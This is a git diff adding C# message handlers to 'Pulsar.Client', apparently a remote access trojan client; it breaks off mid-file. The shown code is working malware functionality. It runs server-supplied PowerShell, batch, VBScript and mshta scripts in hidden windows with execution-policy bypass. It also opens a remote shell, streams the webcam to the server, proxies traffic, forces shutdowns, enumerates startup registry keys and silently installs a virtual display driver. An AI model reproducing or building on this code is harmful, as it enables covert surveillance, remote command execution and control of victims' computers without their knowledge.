+ if (!Directory.Exists(extractPath)) + { + try + { + System.IO.Compression.ZipFile.ExtractToDirectory(dropPath, extractPath); + } + catch (Exception ex) + { + Debug.WriteLine($"Error extracting virtual monitor driver: {ex.Message}"); + return; + } + } + + extractPath = Path.Combine(extractPath, "usbmmidd_v2"); + + // deviceinstaller64.exe install usbmmIdd.inf usbmmidd + // deviceinstaller64.exe enableidd 1 + + // install the driver + string installPath = Path.Combine(extractPath, "deviceinstaller64.exe"); + string arguments = $"install {Path.Combine(extractPath, "usbmmIdd.inf")} usbmmidd"; + ProcessStartInfo psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + + Process p = Process.Start(psi); + p.WaitForExit(); + + // enable the driver + arguments = "enableidd 1"; + psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + + p = Process.Start(psi); + p.WaitForExit(); + } + + private void Execute(ISender client, DoUninstallVirtualMonitor message) + { + string extractPath = Path.Combine(Settings.DIRECTORY, "usbmmidd_v2", "usbmmidd_v2"); + string installPath = Path.Combine(extractPath, "deviceinstaller64.exe"); + // disable the driver + string arguments = "enableidd 0"; + ProcessStartInfo psi = new ProcessStartInfo(installPath, arguments); + psi.UseShellExecute = false; + psi.RedirectStandardOutput = true; + psi.CreateNoWindow = true; + psi.RedirectStandardError = true; + Process p = Process.Start(psi); + p.WaitForExit(); + } + + private void Execute(ISender client, StartProcessOnMonitor message) + { + try + { + string fullCommandLine = message.Application; + string application; + string arguments; + + if (!string.IsNullOrWhiteSpace(fullCommandLine)) + { + fullCommandLine = fullCommandLine.Trim(); + if (fullCommandLine.StartsWith("\"")) + { + int endQuote = fullCommandLine.IndexOf('\"', 1); + if (endQuote > 0) + { + application = fullCommandLine.Substring(1, endQuote - 1); + arguments = fullCommandLine.Substring(endQuote + 1).TrimStart(); + } + else + { + application = fullCommandLine.Trim('\"'); + arguments = string.Empty; + } + } + else + { + int firstSpace = fullCommandLine.IndexOf(' '); + if (firstSpace > 0) + { + application = fullCommandLine.Substring(0, firstSpace); + arguments = fullCommandLine.Substring(firstSpace + 1).TrimStart(); + } + else + { + application = fullCommandLine; + arguments = string.Empty; + } + } + } + else + { + application = string.Empty; + arguments = string.Empty; + } + + Screen[] allScreens = Screen.AllScreens; + if (message.MonitorID < 0 || message.MonitorID >= allScreens.Length) + { + Debug.WriteLine($"Invalid monitor ID: {message.MonitorID}. Using primary monitor instead."); + message.MonitorID = 0; // default to primary + } + Screen targetScreen = allScreens[message.MonitorID]; + + var workingArea = targetScreen.WorkingArea; + int startX = workingArea.Left; + int startY = workingArea.Top; + + Debug.WriteLine($"Starting process '{application}' on monitor {message.MonitorID} at position ({startX}, {startY})"); + + var startInfo = new ProcessStartInfo + { + FileName = application, + Arguments = arguments, + UseShellExecute = true + }; + + Process process = Process.Start(startInfo); + if (process == null) + { + Debug.WriteLine("Failed to start process."); + return; + } + + ThreadPool.QueueUserWorkItem(state => + { + try + { + for (int attempt = 0; attempt < 50; attempt++) + { + try + { + if (process.HasExited) + { + Debug.WriteLine("Process exited before window could be positioned"); + return; + } + + IntPtr hWnd = process.MainWindowHandle; + if (hWnd != IntPtr.Zero) + { + Debug.WriteLine($"Found window handle after {attempt * 100}ms, positioning on monitor {message.MonitorID}"); + + Screen[] screens = Screen.AllScreens; + if (message.MonitorID >= 0 && message.MonitorID < screens.Length) + { + var bounds = screens[message.MonitorID].WorkingArea; + + NativeMethods.SetWindowPos( + hWnd, + IntPtr.Zero, + bounds.X, + bounds.Y, + bounds.Width, + bounds.Height, + NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_SHOWWINDOW); + + Debug.WriteLine($"Window positioned at ({bounds.X}, {bounds.Y}) with size ({bounds.Width}x{bounds.Height})"); + + Thread.Sleep(300); + + NativeMethods.SetWindowPos( + hWnd, + IntPtr.Zero, + bounds.X, + bounds.Y, + bounds.Width, + bounds.Height, + NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_SHOWWINDOW); + } + + break; + } + } + catch (InvalidOperationException ex) + { + Debug.WriteLine($"Error getting window handle: {ex.Message}"); + } + + Thread.Sleep(100); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error positioning window: {ex.Message}"); + } + }); + + Debug.WriteLine($"Process started, window positioning in progress"); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting process on monitor: {ex.Message}"); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopScreenStreaming(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + _reusableStream?.Dispose(); + + _drawingThreadRunning = false; + _drawingSignal.Set(); + if (_drawingThread != null && _drawingThread.IsAlive) + { + _drawingThread.Join(1000); + } + _drawingSignal.Dispose(); + _screenOverlay?.Dispose(); + + // Clean up GPU resources + if (_useGPU) + { + ScreenHelperGPU.CleanupResources(); + } + + if (_linearFrameBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(_linearFrameBuffer); + _linearFrameBuffer = IntPtr.Zero; + _linearBufferSize = 0; + } + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/RemoteScriptingHandler.cs b/Pulsar.Client/Messages/RemoteScriptingHandler.cs new file mode 100644 index 0000000..ef4fa11 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteScriptingHandler.cs @@ -0,0 +1,123 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Pulsar.Client.IO; +using Pulsar.Common.Messages.Administration.SystemInfo; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.MessageBox; +using System.Threading; +using System.CodeDom.Compiler; +using System.Diagnostics; + +namespace Pulsar.Client.Messages +{ + public class RemoteScriptingHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoExecScript; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoExecScript msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoExecScript message) + { + new Thread(() => + { + string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()); + + if (message.Language == "Powershell") + { + tempFile += ".ps1"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "Batch") + { + tempFile += ".bat"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "VBScript") + { + tempFile += ".vbs"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else if (message.Language == "JavaScript") + { + if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject")) + { + tempFile += ".js"; + File.WriteAllText(tempFile, message.Script); + ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = false + }; + Process process = Process.Start(psi); + process.WaitForExit(); + File.Delete(tempFile); + } + else + { + tempFile += ".hta"; + string scriptContent = ""; + File.WriteAllText(tempFile, scriptContent); + ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile) + { + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = message.Hidden, + UseShellExecute = true + }; + Process process = Process.Start(psi); + if (!process.WaitForExit(5000)) + { + process.Kill(); + } + File.Delete(tempFile); + } + } + }) + { IsBackground = true }.Start(); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/RemoteShellHandler.cs b/Pulsar.Client/Messages/RemoteShellHandler.cs new file mode 100644 index 0000000..5e941e0 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteShellHandler.cs @@ -0,0 +1,97 @@ +ο»Ώusing Pulsar.Client.IO; +using Pulsar.Client.Networking; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.RemoteShell; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; + +namespace Pulsar.Client.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : IMessageProcessor, IDisposable + { + /// + /// The current remote shell instance. + /// + private Shell _shell; + + /// + /// The client which is associated with this remote shell handler. + /// + private readonly PulsarClient _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } + + /// + /// Handles changes of the client state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) + { + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } + } + + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); + + if (input == "exit") + _shell.Dispose(); + else + _shell.ExecuteCommand(input); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _shell?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/RemoteWebcamHandler.cs b/Pulsar.Client/Messages/RemoteWebcamHandler.cs new file mode 100644 index 0000000..81f4cf3 --- /dev/null +++ b/Pulsar.Client/Messages/RemoteWebcamHandler.cs @@ -0,0 +1,435 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Diagnostics; +using Pulsar.Common.Messages.Webcam; +using Pulsar.Common.Messages.Other; +using System.Collections.Concurrent; + +namespace Pulsar.Client.Messages +{ + public class RemoteWebcamHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _webcamData = null; + private Bitmap _webcam = null; + private ISender _clientMain; + private Thread _captureThread; + private WebcamHelper _webcamHelper; + + private WebcamHelper WebcamHelper + { + get + { + if (_webcamHelper == null) + { + _webcamHelper = new WebcamHelper(); + } + return _webcamHelper; + } + } + + private CancellationTokenSource _cancellationTokenSource; + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + // max buffer size to prevent memory issues + private const int MAX_BUFFER_SIZE = 10; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + private int _frameCount = 0; + private float _lastFrameRate = 0f; + private bool _sendFrameRateNext = false; + + private MemoryStream _reusableStream; + + private MemoryStream ReusableStream + { + get + { + if (_reusableStream == null) + { + _reusableStream = new MemoryStream(); + } + return _reusableStream; + } + } + + public override bool CanExecute(IMessage message) => message is GetWebcam || + message is GetAvailableWebcams; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetWebcam msg: + Execute(sender, msg); + break; + case GetAvailableWebcams msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetWebcam message) + { + if (message.Status == RemoteWebcamStatus.Stop) + { + StopWebcamStreaming(); + } + else if (message.Status == RemoteWebcamStatus.Start) + { + StartWebcamStreaming(client, message); + } + else if (message.Status == RemoteWebcamStatus.Continue) + { + // server is requesting more frames + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartWebcamStreaming(ISender client, GetWebcam message) + { + try + { + try + { + WebcamHelper.StartWebcam(message.DisplayIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting webcam: {ex.Message}"); + OnReport("Failed to start webcam: " + ex.Message); + return; + } + Debug.WriteLine("Starting remote webcam session"); + + var webcamBounds = WebcamHelper.GetBounds(); + var resolution = new Resolution { Height = webcamBounds.Height, Width = webcamBounds.Width }; + + try + { + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote webcam session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error initializing stream codec: {ex.Message}"); + OnReport("Failed to initialize stream codec: " + ex.Message); + return; + } + + _clientMain = client; + + // clear any pending frame requests and existing frames + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + try + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token)); + _captureThread.Start(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting capture thread: {ex.Message}"); + OnReport("Failed to start capture thread: " + ex.Message); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Unexpected error in StartWebcamStreaming: {ex.Message}"); + OnReport("Unexpected error: " + ex.Message); + } + } + + private void StopWebcamStreaming() + { + try + { + try + { + WebcamHelper.StopWebcam(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error stopping webcam: {ex.Message}"); + } + Debug.WriteLine("Stopping remote webcam session"); + + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + try + { + _frameRequestEvent.Set(); // wake up thread + _captureThread.Join(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error joining capture thread: {ex.Message}"); + } + _captureThread = null; + } + + if (_webcam != null) + { + if (_webcamData != null) + { + try + { + _webcam.UnlockBits(_webcamData); + } + catch (Exception ex) + { + Debug.WriteLine($"Error unlocking bits: {ex.Message}"); + } + _webcamData = null; + } + try + { + _webcam.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing webcam: {ex.Message}"); + } + _webcam = null; + } + + if (_streamCodec != null) + { + try + { + _streamCodec.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing stream codec: {ex.Message}"); + } + _streamCodec = null; + } + + // clear the buffer + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Unexpected error in StopWebcamStreaming: {ex.Message}"); + } + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken) + { + Debug.WriteLine("Starting buffered capture loop"); + _stopwatch.Start(); + + while (!cancellationToken.IsCancellationRequested) + { + try + { + // wait for frame requests if the buffer is full or no frames are requested + if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0) + { + Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _frameRequestEvent.WaitOne(500); + + // if cancellation was requested during the wait + if (cancellationToken.IsCancellationRequested) + break; + + continue; + } + + // capture frame and add to buffer + byte[] frameData = CaptureFrame(); + if (frameData != null) + { + _frameBuffer.Enqueue(frameData); + + // increment frame counter for statistics + _frameCount++; + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}"); + _lastFrameRate = _frameCount; + _frameCount = 0; + _stopwatch.Restart(); + _sendFrameRateNext = true; + } + } + + // send frames if we have pending requests + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error in buffered capture loop: {ex.Message}"); + Thread.Sleep(100); // Avoid tight loop in case of repeated errors + } + } + + Debug.WriteLine("Buffered capture loop ended"); + } + + private byte[] CaptureFrame() + { + try + { + _webcam = WebcamHelper.GetLatestFrame(); + + if (_webcam == null) + { + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _webcam; + + if (_webcam.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_webcam.Width, _webcam.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_webcam, 0, 0, _webcam.Width, _webcam.Height); + } + _webcam.Dispose(); + _webcam = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _webcam; + } + } + + _webcamData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + ReusableStream.Position = 0; + ReusableStream.SetLength(0); + + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_webcamData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, ReusableStream); + + return ReusableStream.ToArray(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing frame: {ex.Message}"); + return null; + } + finally + { + if (_webcamData != null) + { + _webcam.UnlockBits(_webcamData); + _webcamData = null; + } + _webcam?.Dispose(); + _webcam = null; + } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + var response = new GetWebcamResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + IsLastRequestedFrame = isLastRequestedFrame, + FrameRate = 0f + }; + + if (_sendFrameRateNext) + { + response.FrameRate = _lastFrameRate; + _sendFrameRateNext = false; + } + + _clientMain.Send(response); + } + catch (Exception ex) + { + Debug.WriteLine($"Error sending frame to server: {ex.Message}"); + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private void Execute(ISender client, GetAvailableWebcams message) + { + client.Send(new GetAvailableWebcamsResponse { Webcams = WebcamHelper.GetWebcams() }); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopWebcamStreaming(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + _reusableStream?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/ReverseProxyHandler.cs b/Pulsar.Client/Messages/ReverseProxyHandler.cs new file mode 100644 index 0000000..d2befa6 --- /dev/null +++ b/Pulsar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,59 @@ +ο»Ώusing Pulsar.Client.Networking; +using Pulsar.Client.ReverseProxy; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.ReverseProxy; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Messages +{ + public class ReverseProxyHandler : IMessageProcessor + { + private readonly PulsarClient _client; + + public ReverseProxyHandler(PulsarClient client) + { + _client = client; + } + + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + } +} diff --git a/Pulsar.Client/Messages/ShutdownHandler.cs b/Pulsar.Client/Messages/ShutdownHandler.cs new file mode 100644 index 0000000..d79a2f7 --- /dev/null +++ b/Pulsar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,209 @@ +ο»Ώusing Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.Actions; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Principal; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class ShutdownHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShutdownAction; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoShutdownAction msg) + Execute(sender, msg); + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + switch (message.Action) + { + case ShutdownAction.Shutdown: + client.Send(new SetStatus { Message = "Client is shutting down..." }); + if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.ShutDown | ExitWindows.ForceIfHung, 0)) + { + // Fallback to shutdown.exe if native API fails + Process.Start(new ProcessStartInfo + { + FileName = "shutdown", + Arguments = "/s /t 0", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = true + }); + } + break; + + case ShutdownAction.Restart: + client.Send(new SetStatus { Message = "Client is restarting..." }); + if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.Reboot | ExitWindows.ForceIfHung, 0)) + { + // Fallback to shutdown.exe if native API fails + Process.Start(new ProcessStartInfo + { + FileName = "shutdown", + Arguments = "/r /t 0", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + UseShellExecute = true + }); + } + break; + + case ShutdownAction.Standby: + client.Send(new SetStatus { Message = "Client entering standby mode..." }); + if (!SetSuspendState(false, true, true)) + client.Send(new SetStatus { Message = "Standby request failed." }); + break; + + case ShutdownAction.Lockscreen: + client.Send(new SetStatus { Message = "Client screen is being locked..." }); + if (!LockWorkStation()) + client.Send(new SetStatus { Message = "LockWorkStation failed, fallback unavailable." }); + break; + + default: + client.Send(new SetStatus { Message = "Unknown shutdown action requested." }); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Shutdown action failed: {ex.Message}" }); + } + } + + #region Native interop + + [Flags] + private enum ExitWindows : uint + { + LogOff = 0x00000000, + ShutDown = 0x00000001, + Reboot = 0x00000002, + PowerOff = 0x00000008, + ForceIfHung = 0x00000010, + Force = 0x00000004 + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool ExitWindowsEx(ExitWindows uFlags, uint dwReason); + + [DllImport("powrprof.dll", SetLastError = true)] + private static extern bool SetSuspendState(bool hibernate, bool forceCritical, bool disableWakeEvent); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool LockWorkStation(); + + // Token / privilege APIs + private const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; + private const uint SE_PRIVILEGE_ENABLED = 0x00000002; + private const int TOKEN_ADJUST_PRIVILEGES = 0x0020; + private const int TOKEN_QUERY = 0x0008; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct LUID + { + public uint LowPart; + public int HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + private struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + private struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + public LUID_AND_ATTRIBUTES Privileges; + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, + ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + private static bool EnableShutdownPrivilege() + { + if (!IsAdministrator()) + return false; + + if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out var tokenHandle)) + return false; + + try + { + if (!LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, out var luid)) + return false; + + var tp = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = new LUID_AND_ATTRIBUTES + { + Luid = luid, + Attributes = SE_PRIVILEGE_ENABLED + } + }; + + if (!AdjustTokenPrivileges(tokenHandle, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero)) + return false; + + // AdjustTokenPrivileges returns true even when it fails to enable; check last error + return Marshal.GetLastWin32Error() == 0; + } + finally + { + CloseHandle(tokenHandle); + } + } + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + private static bool IsAdministrator() + { + try + { + using (var id = WindowsIdentity.GetCurrent()) + { + var wp = new WindowsPrincipal(id); + return wp.IsInRole(WindowsBuiltInRole.Administrator); + } + } + catch + { + return false; + } + } + + private static void ThrowLastWin32Error(string message) + { + var err = new Win32Exception(Marshal.GetLastWin32Error()); + throw new InvalidOperationException($"{message}: {err.Message}"); + } + + #endregion + } +} diff --git a/Pulsar.Client/Messages/StartupManagerHandler.cs b/Pulsar.Client/Messages/StartupManagerHandler.cs new file mode 100644 index 0000000..0bfe23a --- /dev/null +++ b/Pulsar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,267 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.StartupManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Pulsar.Client.Messages +{ + public class StartupManagerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + 